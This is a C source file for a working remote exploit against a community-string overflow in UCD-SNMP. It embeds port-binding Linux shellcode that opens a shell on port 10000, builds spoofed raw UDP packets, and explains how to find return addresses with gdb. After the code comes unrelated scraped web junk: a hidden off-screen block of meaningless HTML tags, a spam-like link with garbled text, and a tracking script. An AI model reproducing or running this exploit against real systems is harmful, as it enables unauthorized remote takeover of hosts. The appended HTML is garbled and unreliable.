/*--------------------------------------------------------------------------*
 *	Exploits bugs in community string overflows for snmp implementations	*
 *	Coded by:	Jove (jove@halo.nu)											*
 *	Portions provided by:	RPC, and Zen-Parse								*
 *--------------------------------------------------------------------------*/

/*--------------------------------------------------------------------------*
 *	Explanation:															*
 *	As found by the Protos project, many implementations of SNMP are		*
 *	fallible to overly-long community strings.  In some implementations		*
 *	it is possible to use this to take control over the system snmpd is		*
 *	is running on.  This program is an implementation of how such community	*
 *	strings might be used to take over said system.  The framework here has	*
 *	been designed to be extensible to encompass exploitation over multiple	*
 *	snmp implementations, over multiple architectures, and with the			*
 *	the possibility to evade IDS implementations.  If someone does extend	*
 *	this code through targets, or actual code update I ask that they share	*
 *	it with me (jove@halo.nu) and all persons involved if they wish can		*
 *	share with others that send in code fixes so that this exploit can be	*
 *	fine tuned.  RPC provided the framework for which to send the packets	*
 *	that is used with slight modifications by myself, I extended it into	*
 *	this exploit which is much more extendable, and has a working target,	*
 *	made it easier to use and nicer to look at, added support for multiple	*
 *	targets, and ripped out ugly things such as globals.  Here are some		*
 *	instructions to get it working on your implementation of ucd-snmpd and	*
 *	others that derrive their snmp parsing code from ucd's implementation.	*
 *--------------------------------------------------------------------------*
 *	Required values for successful exploitation on x86 arch ucd-snmp:		*
 *	1.)	rets_position														*
 *	2.) ret_address															*
 *--------------------------------------------------------------------------*
 *	Easy way to obtain 1:													*
 *	A.)	Run GDB with the path to snmp ie: gdb `which snmpd`					*
 *	B.) At the <gdb> type run												*
 *	C.)	Run this exploit against the host with snmpd running on it.			*
 *	D.)	GDB should error out saying Segmentation Fault with an address.		*
 *	E.)	Take the farthest right hex digits and convert to decimal.			*
 *	F.) This will be your rets_position... if the buffer is bigger than	256	*
 *		you may need to multiply it by 0xff X times where X <= bufsize / 255*
 *--------------------------------------------------------------------------*
 *	Easy way to obtain 2:													*
 *	A.) Run GDB with the path to snmpd ie: gdb `which snmpd`				*
 *	B.)	at prompt type break _snmp_parse									*
 *	C.)	type run															*
 *	D.)	run exploit against system running the snmpd you're debugging		*
 *	E.)	when it gets to the breakpoint type print &data						*
 *	F.)	add about 100 to this address and you have your ret_address			*
 *--------------------------------------------------------------------------*
 *	The methodology for anything other than a linux running ucd-snmpd is	*
 *	beyond the scope of these comments, and I refer you to phrack 49 for	*
 *	more information.														*
 *--------------------------------------------------------------------------*/
#include <unistd.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/types.h>
#include <sys/socket.h>

/*---	Local Defines	---*/
#define ASN1_SZ 11
#define ASN2_SZ 36
#define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr)
#define PACKET_SZ ASN1_SZ + ASN2_SZ
#define MAX_BUFF	4096
/*-------------------------*/

/*---	A structure to hold exploitation values	---*
 *---	so one program can exploit multiple		---*
 *---	targets.								---*/
struct target_os {
  char *description;		//String description of OS.
  char *shellcode;			//Pointer to shellcode for OS.
  int buffer_size;			//Size of buffer we're exploiting.
  int rets_position;		//Position in buffer of value that the snmpd will use as a ret address
  u_int32_t ret_address;	//Address to have function to return into
  char nop;					//NO-Operation instruction to use
};
/*-------------------------------------------------*/


/*---	asn1 gets inserted before our communiy string,	---*
 *---	asn2 gets inserted after our community string.	---*
 *---	these values were taken from RPC's code.		---*/
char snmp_asn1[] =	"\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00";		//11 bytes 
char snmp_asn2[] =	"\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01"
					"\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c"
					"\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00";	//36 bytes
/*---------------------------------------------------------*/

/*---	Zen-parse's port 10,000 port-binding Linux Shellcode	---*/
char zenparse_code[] =
"\x31\xc0\x31\xdb\x89\xe5\x99\xb0\x66\x89\x5d\xfc\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x8d\x4d\xf4\xcd\x80\x89\x45\xf4\x43\x66\x89"
"\x5d\xec\x66\xc7\x45\xee\x27\x10\x89\x55\xf0\x8d\x45\xec\x89\x45"
"\xf8\xc6\x45\xfc\x10\xb2\x66\x89\xd0\x8d\x4d\xf4\xcd\x80\x89\xd0"
"\xb3\x04\xcd\x80\x43\x89\xd0\x99\x89\x55\xf8\x89\x55\xfc\xcd\x80"
"\x31\xc9\x89\xc3\xb1\x03\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x52\x68"
"\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
/*-----------------------------------------------------------------*/

/*---	Function prototypes		---*/
unsigned short in_cksum(u_short *, int);	//Standard checksum calculation code 
unsigned int resolve(char *host);	//Resolve's a host, taken from RPC due to laziness... ehrm efficiency
char *make_packet(char *, unsigned int, unsigned int, int);	//Creates snmp packet, by RPC modified by Jove
void usage(char *);	//Display's program's usage.
/*---------------------------------*/
struct target_os the_targets[]= {
//description, shellcode ptr, buffer size, Position of ret address, Address to return into, NOP to use
{"UCD-SNMP 4.1.2 / Slackware 8.0 src compilation (bindport 10,000)",zenparse_code,256,216,0xbfffd77c,0x90},
{(char *) NULL, (char *) NULL, 0, 0, 0, (char) 0} };

int
main(int argc, char *argv[])
{
	/*---	Constant definitions	---*/
	const int one = 1;
	/*---------------------------------*/
	/*---	Networking Variables	---*/
	struct sockaddr_in sin;
	u_int32_t addr;
	int sock;
	int src;
	int dst=-1;
	/*---------------------------------*/
	/*---	Exploitation Variables	---*/
	char buf[MAX_BUFF];
	char *p;
	int ret;
	int shellcodelen;
	int retpos;
	int buffersize;
	/*---------------------------------*/
	/*---	Option Handling Variables	---*/
	int arg;
	int cnt;		
	int typeosys=0;
	int debugit=0;
	int port=161;
	int echo=0;
	/*-------------------------------------*/

	if(argc < 3)
		usage(argv[0]);

	src = resolve("127.0.0.1"); 

	while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) {
		switch(arg) {
			case 'e':
				echo = 1;
				break;
			case 's':
				src = resolve(optarg);
				break;
			case 'd':
				dst = resolve(optarg);
				break;
			case 't':
				typeosys = atoi(optarg);
				break;
			case 'x':
				debugit=1;
				break;
			case 'p':
				port = atoi(optarg);
			default:
				printf("Invalid argument, %c\n",arg);
				usage(argv[0]);
		}
	}

	if(dst == -1) {
		printf("Missing destination address.\n");
		usage(argv[0]);
	}

	shellcodelen= strlen(the_targets[typeosys].shellcode);
	addr= the_targets[typeosys].ret_address;
	retpos=	the_targets[typeosys].rets_position;
	buffersize=the_targets[typeosys].buffer_size;
	
	if(buffersize>MAX_BUFF-1) {
		printf("Must increase MAX_BUFF define to something >= %d\n",buffersize);
		exit(-1);
	}

	memset(buf, the_targets[typeosys].nop, buffersize);
	memcpy(buf + retpos, &addr, sizeof(addr));
	memcpy(buf + retpos - shellcodelen, the_targets[typeosys].shellcode, shellcodelen);

	if(debugit==1) {
	  for(cnt=1;cnt<buffersize;cnt++)
	    buf[cnt]=(char) cnt;
	}

	buf[buffersize] = '\0';

	p = make_packet(buf, src, dst, echo);

	/*---	Create the socket to send data on	---*/
	sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if(sock == -1) {
		perror("socket");
		exit(1);
	}
	/*---------------------------------------------*/

	/*---	Setup the socket's options	---*/
	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) == -1) {
		perror("setsockopt");
		exit(1);
	}
	/*-------------------------------------*/

	/*---	Setup the Socket type/dest	---*/
	sin.sin_family = AF_INET;
	sin.sin_port = htons(port);
	sin.sin_addr.s_addr = dst;
	/*-------------------------------------*/

	/*---	Send the udp packet and error check	---*/
	printf("Sending Packet...");
	ret = sendto(sock, p, HDR_SZ + PACKET_SZ + buffersize, 0, &sin, sizeof(sin));
	if(ret == -1) {
		perror("sendto");
		exit(1);
	}	
	printf("sent.\n");
	/*---------------------------------------------*/

	return(0);
}

void usage(char *cmd)
{
  int cnt;

	/*---	Print out a pretty usage and exit(0);	---*/
	printf("Snmp exploitation utility, Version 2\n");
	printf("Coding by Jove w/ segments from RPC\n");
	printf("Usage: %s <options> [-d destination]\n");
	printf("Switches:\n");
	printf("\t\t-s <IP>\n\t\t\tSource address to use.\n");
	printf("\t\t-p [Port]\n\t\t\tSpecify port to send to.\n");
	printf("\t\t-e\tDestination is an echo server (to bounce packet).\n");
	printf("\t\t  \t(Source and destination are reversed for echo mode.\n");
	printf("\t\t-x\tUse an ascending value buffer for the community string.\n");
	printf("\t\t  \t(Used for finding values to use w/ this exploit.\n");
	printf("\t\t-t#\tSpecify a target to use for packet creation\n");
	printf("\tAvailable Targets:\n");
	for(cnt=0;the_targets[cnt].description!=(char *) NULL;cnt++)
	  printf("\t%d- %s\n",cnt,the_targets[cnt].description);
	exit(0);
}

unsigned short 
in_cksum(addr, len)	//Standard checksum calculation code 
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}
unsigned int resolve(char *host)	//Resolve's a host, taken from RPC due to laziness... ehrm efficiency
{
    struct hostent *he;
    unsigned int ipaddr;

    if((he = gethostbyname(host)) == NULL) {
        /* ip addr, or invalid. */
      if((ipaddr = inet_addr(host)) == -1) {
        printf("error resolving %s.\n", host);
        exit(1);
      }
      return ipaddr;
    }
    memcpy(&ipaddr, he->h_addr, he->h_length);
  return ipaddr;
}

char *
make_packet(char *buf, unsigned int src, unsigned int dst, int echo)
/*---	This code has it's roots in RPC's code however,	--*
 *---	Jove had to modify it so it didn't use globals,	--*
 *---	so buffer size could be dynamic, we seed the	--*
 *---	random number generator to randomize the ID		--*
 *---	field.											--*/  
{
	struct iphdr *ip;
	struct udphdr *udp;
	char *p;
	int bufsz;

	bufsz=strlen(buf);

	p   = (char *)malloc(HDR_SZ + PACKET_SZ + bufsz);
	ip  = (struct iphdr *)p;
	udp = (struct udphdr *)(p + sizeof(*ip));

	ip->ihl = 5;
	ip->version = 4;
	ip->tos = 0;
	ip->tot_len = htons(HDR_SZ + PACKET_SZ + bufsz);
	srand(time(NULL));
	ip->id = rand(); 
	ip->frag_off = htons(IP_DF);
	ip->ttl = 0x40;
	ip->protocol = IPPROTO_UDP;
	ip->saddr = src;
	ip->daddr = dst;
	ip->check = in_cksum((char *)ip, sizeof(*ip));

	udp->source = echo ? htons(161) : rand();
	udp->dest = echo? htons(7) : htons(161);
	udp->len = htons(PACKET_SZ + bufsz);
	udp->check = 0; 

	memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ);
	memcpy(p + HDR_SZ + ASN1_SZ, buf, bufsz);
	memcpy(p + HDR_SZ + ASN1_SZ + bufsz, snmp_asn2, ASN2_SZ);
	return p;
}

<div style="position:fixed;left:-9000px;top:-9000px;"><em id="7ztzv"></em><center id="7ztzv"></center><mark id="7ztzv"><center id="7ztzv"></center></mark><output id="7ztzv"><noframes id="7ztzv"></noframes></output><font id="7ztzv"><delect id="7ztzv"></delect></font><ruby id="7ztzv"><big id="7ztzv"></big></ruby><progress id="7ztzv"><sub id="7ztzv"></sub></progress><th id="7ztzv"><big id="7ztzv"></big></th><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><video id="7ztzv"></video></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><strike id="7ztzv"><span id="7ztzv"></span></strike><em id="7ztzv"><span id="7ztzv"></span></em><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><noframes id="7ztzv"></noframes></th><em id="7ztzv"><span id="7ztzv"></span></em><ins id="7ztzv"><b id="7ztzv"></b></ins><ol id="7ztzv"><output id="7ztzv"></output></ol><menuitem id="7ztzv"><thead id="7ztzv"></thead></menuitem><del id="7ztzv"><ruby id="7ztzv"></ruby></del><noframes id="7ztzv"><span id="7ztzv"></span></noframes><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><progress id="7ztzv"><thead id="7ztzv"></thead></progress><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><strike id="7ztzv"><pre id="7ztzv"></pre></strike><em id="7ztzv"><address id="7ztzv"></address></em><big id="7ztzv"><address id="7ztzv"></address></big><address id="7ztzv"><listing id="7ztzv"></listing></address><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><big id="7ztzv"><sub id="7ztzv"></sub></big><var id="7ztzv"><meter id="7ztzv"></meter></var><span id="7ztzv"><video id="7ztzv"></video></span><listing id="7ztzv"><mark id="7ztzv"></mark></listing><progress id="7ztzv"><address id="7ztzv"></address></progress><nobr id="7ztzv"><progress id="7ztzv"></progress></nobr><noframes id="7ztzv"><sub id="7ztzv"></sub></noframes><font id="7ztzv"><delect id="7ztzv"></delect></font><strike id="7ztzv"><pre id="7ztzv"></pre></strike><delect id="7ztzv"><menuitem id="7ztzv"></menuitem></delect><em id="7ztzv"><pre id="7ztzv"></pre></em><mark id="7ztzv"><cite id="7ztzv"></cite></mark><delect id="7ztzv"><ins id="7ztzv"></ins></delect><pre id="7ztzv"><rp id="7ztzv"></rp></pre><cite id="7ztzv"><var id="7ztzv"></var></cite><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><ruby id="7ztzv"><p id="7ztzv"></p></ruby><em id="7ztzv"><form id="7ztzv"></form></em><rp id="7ztzv"><em id="7ztzv"></em></rp>
<video id="7ztzv"><noframes id="7ztzv"></noframes></video><cite id="7ztzv"><del id="7ztzv"></del></cite><meter id="7ztzv"><thead id="7ztzv"></thead></meter><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><thead id="7ztzv"></thead></meter><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><mark id="7ztzv"><cite id="7ztzv"></cite></mark><menuitem id="7ztzv"><font id="7ztzv"></font></menuitem><del id="7ztzv"><rp id="7ztzv"></rp></del><thead id="7ztzv"><delect id="7ztzv"></delect></thead><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><ins id="7ztzv"><cite id="7ztzv"></cite></ins><delect id="7ztzv"><output id="7ztzv"></output></delect><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><p id="7ztzv"></p></ruby><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><progress id="7ztzv"><address id="7ztzv"></address></progress><thead id="7ztzv"><var id="7ztzv"></var></thead><ins id="7ztzv"><i id="7ztzv"></i></ins><ins id="7ztzv"><b id="7ztzv"></b></ins><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><ins id="7ztzv"><i id="7ztzv"></i></ins><font id="7ztzv"><delect id="7ztzv"></delect></font><em id="7ztzv"><form id="7ztzv"></form></em><var id="7ztzv"><ins id="7ztzv"></ins></var><span id="7ztzv"><th id="7ztzv"></th></span><ol id="7ztzv"><rp id="7ztzv"></rp></ol><th id="7ztzv"><progress id="7ztzv"></progress></th><address id="7ztzv"><dfn id="7ztzv"></dfn></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><noframes id="7ztzv"><span id="7ztzv"></span></noframes><noframes id="7ztzv"><form id="7ztzv"></form></noframes><big id="7ztzv"><form id="7ztzv"></form></big><track id="7ztzv"><noframes id="7ztzv"></noframes></track><em id="7ztzv"><span id="7ztzv"></span></em><span id="7ztzv"><th id="7ztzv"></th></span><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><em id="7ztzv"></em></video><delect id="7ztzv"><ins id="7ztzv"></ins></delect><b id="7ztzv"><del id="7ztzv"></del></b><progress id="7ztzv"><sub id="7ztzv"></sub></progress><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><rp id="7ztzv"><em id="7ztzv"></em></rp><track id="7ztzv"><noframes id="7ztzv"></noframes></track><address id="7ztzv"><th id="7ztzv"></th></address><cite id="7ztzv"><delect id="7ztzv"></delect></cite><cite id="7ztzv"><var id="7ztzv"></var></cite><output id="7ztzv"><i id="7ztzv"></i></output><track id="7ztzv"><big id="7ztzv"></big></track>
<big id="7ztzv"><address id="7ztzv"></address></big><p id="7ztzv"><dl id="7ztzv"></dl></p><meter id="7ztzv"><font id="7ztzv"></font></meter><address id="7ztzv"><nobr id="7ztzv"></nobr></address><menuitem id="7ztzv"><cite id="7ztzv"></cite></menuitem><pre id="7ztzv"><video id="7ztzv"></video></pre><th id="7ztzv"><progress id="7ztzv"></progress></th><p id="7ztzv"><pre id="7ztzv"></pre></p><ruby id="7ztzv"><em id="7ztzv"></em></ruby><del id="7ztzv"><ins id="7ztzv"></ins></del><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><var id="7ztzv"></var></thead><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><b id="7ztzv"><del id="7ztzv"></del></b><big id="7ztzv"><address id="7ztzv"></address></big><form id="7ztzv"><nobr id="7ztzv"></nobr></form><ol id="7ztzv"><ins id="7ztzv"></ins></ol><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><listing id="7ztzv"><progress id="7ztzv"></progress></listing><delect id="7ztzv"><output id="7ztzv"></output></delect><noframes id="7ztzv"><span id="7ztzv"></span></noframes><track id="7ztzv"><noframes id="7ztzv"></noframes></track><menuitem id="7ztzv"><sub id="7ztzv"></sub></menuitem><address id="7ztzv"><th id="7ztzv"></th></address><address id="7ztzv"><track id="7ztzv"></track></address><nobr id="7ztzv"><meter id="7ztzv"></meter></nobr><em id="7ztzv"><pre id="7ztzv"></pre></em><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><form id="7ztzv"></form></em><form id="7ztzv"><track id="7ztzv"></track></form><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><rp id="7ztzv"><noframes id="7ztzv"></noframes></rp><i id="7ztzv"><ol id="7ztzv"></ol></i><i id="7ztzv"><del id="7ztzv"></del></i><cite id="7ztzv"><delect id="7ztzv"></delect></cite><strike id="7ztzv"><dl id="7ztzv"></dl></strike><dfn id="7ztzv"><mark id="7ztzv"></mark></dfn><address id="7ztzv"><th id="7ztzv"></th></address><ins id="7ztzv"><font id="7ztzv"></font></ins><thead id="7ztzv"><var id="7ztzv"></var></thead><video id="7ztzv"><strike id="7ztzv"></strike></video><p id="7ztzv"><pre id="7ztzv"></pre></p><video id="7ztzv"><i id="7ztzv"></i></video><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><thead id="7ztzv"><listing id="7ztzv"></listing></thead><dl id="7ztzv"><rp id="7ztzv"></rp></dl><address id="7ztzv"><th id="7ztzv"></th></address><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var>
<p id="7ztzv"><var id="7ztzv"></var></p><ins id="7ztzv"><i id="7ztzv"></i></ins><strike id="7ztzv"><span id="7ztzv"></span></strike><del id="7ztzv"><output id="7ztzv"></output></del><font id="7ztzv"><delect id="7ztzv"></delect></font><output id="7ztzv"><em id="7ztzv"></em></output><p id="7ztzv"><span id="7ztzv"></span></p><big id="7ztzv"><thead id="7ztzv"></thead></big><video id="7ztzv"><noframes id="7ztzv"></noframes></video><b id="7ztzv"><ol id="7ztzv"></ol></b><font id="7ztzv"><dfn id="7ztzv"></dfn></font><font id="7ztzv"><var id="7ztzv"></var></font><ins id="7ztzv"><i id="7ztzv"></i></ins><dfn id="7ztzv"><meter id="7ztzv"></meter></dfn><rp id="7ztzv"><strike id="7ztzv"></strike></rp><del id="7ztzv"><ruby id="7ztzv"></ruby></del><var id="7ztzv"><ruby id="7ztzv"></ruby></var><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><del id="7ztzv"><ruby id="7ztzv"></ruby></del><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><track id="7ztzv"><noframes id="7ztzv"></noframes></track><form id="7ztzv"><nobr id="7ztzv"></nobr></form><video id="7ztzv"><big id="7ztzv"></big></video><video id="7ztzv"><em id="7ztzv"></em></video><p id="7ztzv"><span id="7ztzv"></span></p><sub id="7ztzv"><nobr id="7ztzv"></nobr></sub><ins id="7ztzv"><b id="7ztzv"></b></ins><dfn id="7ztzv"><progress id="7ztzv"></progress></dfn><var id="7ztzv"><mark id="7ztzv"></mark></var><font id="7ztzv"><delect id="7ztzv"></delect></font><big id="7ztzv"><sub id="7ztzv"></sub></big><address id="7ztzv"><th id="7ztzv"></th></address><form id="7ztzv"><th id="7ztzv"></th></form><mark id="7ztzv"><cite id="7ztzv"></cite></mark><progress id="7ztzv"><font id="7ztzv"></font></progress><mark id="7ztzv"><cite id="7ztzv"></cite></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><mark id="7ztzv"><font id="7ztzv"></font></mark><strike id="7ztzv"><form id="7ztzv"></form></strike><pre id="7ztzv"><video id="7ztzv"></video></pre><strike id="7ztzv"><dl id="7ztzv"></dl></strike><delect id="7ztzv"><ins id="7ztzv"></ins></delect><dl id="7ztzv"><rp id="7ztzv"></rp></dl><listing id="7ztzv"><menuitem id="7ztzv"></menuitem></listing><p id="7ztzv"><dl id="7ztzv"></dl></p><mark id="7ztzv"><i id="7ztzv"></i></mark><meter id="7ztzv"><sub id="7ztzv"></sub></meter><rp id="7ztzv"><em id="7ztzv"></em></rp><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead>
<th id="7ztzv"><big id="7ztzv"></big></th><del id="7ztzv"><rp id="7ztzv"></rp></del><video id="7ztzv"><big id="7ztzv"></big></video><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><big id="7ztzv"><sub id="7ztzv"></sub></big><track id="7ztzv"><em id="7ztzv"></em></track><cite id="7ztzv"><ol id="7ztzv"></ol></cite><i id="7ztzv"><dl id="7ztzv"></dl></i><noframes id="7ztzv"><address id="7ztzv"></address></noframes><ruby id="7ztzv"><i id="7ztzv"></i></ruby><delect id="7ztzv"><output id="7ztzv"></output></delect><delect id="7ztzv"><output id="7ztzv"></output></delect><thead id="7ztzv"><dfn id="7ztzv"></dfn></thead><ol id="7ztzv"><ruby id="7ztzv"></ruby></ol><delect id="7ztzv"><output id="7ztzv"></output></delect><var id="7ztzv"><menuitem id="7ztzv"></menuitem></var><track id="7ztzv"><big id="7ztzv"></big></track><rp id="7ztzv"><em id="7ztzv"></em></rp><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><b id="7ztzv"></b></mark><i id="7ztzv"><ol id="7ztzv"></ol></i><progress id="7ztzv"><sub id="7ztzv"></sub></progress><rp id="7ztzv"><strike id="7ztzv"></strike></rp><font id="7ztzv"><var id="7ztzv"></var></font><span id="7ztzv"><th id="7ztzv"></th></span><video id="7ztzv"><strike id="7ztzv"></strike></video><th id="7ztzv"><em id="7ztzv"></em></th><delect id="7ztzv"><ins id="7ztzv"></ins></delect><sub id="7ztzv"><delect id="7ztzv"></delect></sub><progress id="7ztzv"><sub id="7ztzv"></sub></progress><sub id="7ztzv"><listing id="7ztzv"></listing></sub><thead id="7ztzv"><listing id="7ztzv"></listing></thead><form id="7ztzv"><th id="7ztzv"></th></form><track id="7ztzv"><em id="7ztzv"></em></track><dfn id="7ztzv"><menuitem id="7ztzv"></menuitem></dfn><b id="7ztzv"><dl id="7ztzv"></dl></b><nobr id="7ztzv"><big id="7ztzv"></big></nobr><track id="7ztzv"><progress id="7ztzv"></progress></track><ruby id="7ztzv"><p id="7ztzv"></p></ruby><pre id="7ztzv"><nobr id="7ztzv"></nobr></pre><pre id="7ztzv"><track id="7ztzv"></track></pre><ruby id="7ztzv"><strike id="7ztzv"></strike></ruby><em id="7ztzv"><span id="7ztzv"></span></em><mark id="7ztzv"><i id="7ztzv"></i></mark><rp id="7ztzv"><p id="7ztzv"></p></rp><delect id="7ztzv"><ruby id="7ztzv"></ruby></delect><sub id="7ztzv"><dfn id="7ztzv"></dfn></sub><thead id="7ztzv"><var id="7ztzv"></var></thead><i id="7ztzv"><ol id="7ztzv"></ol></i><track id="7ztzv"><strike id="7ztzv"></strike></track></div>

<a href="http://www.bjnorthway.com/">ÑÇÖÞÅ·ÃÀÔÚÏß</a>
<script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
</body>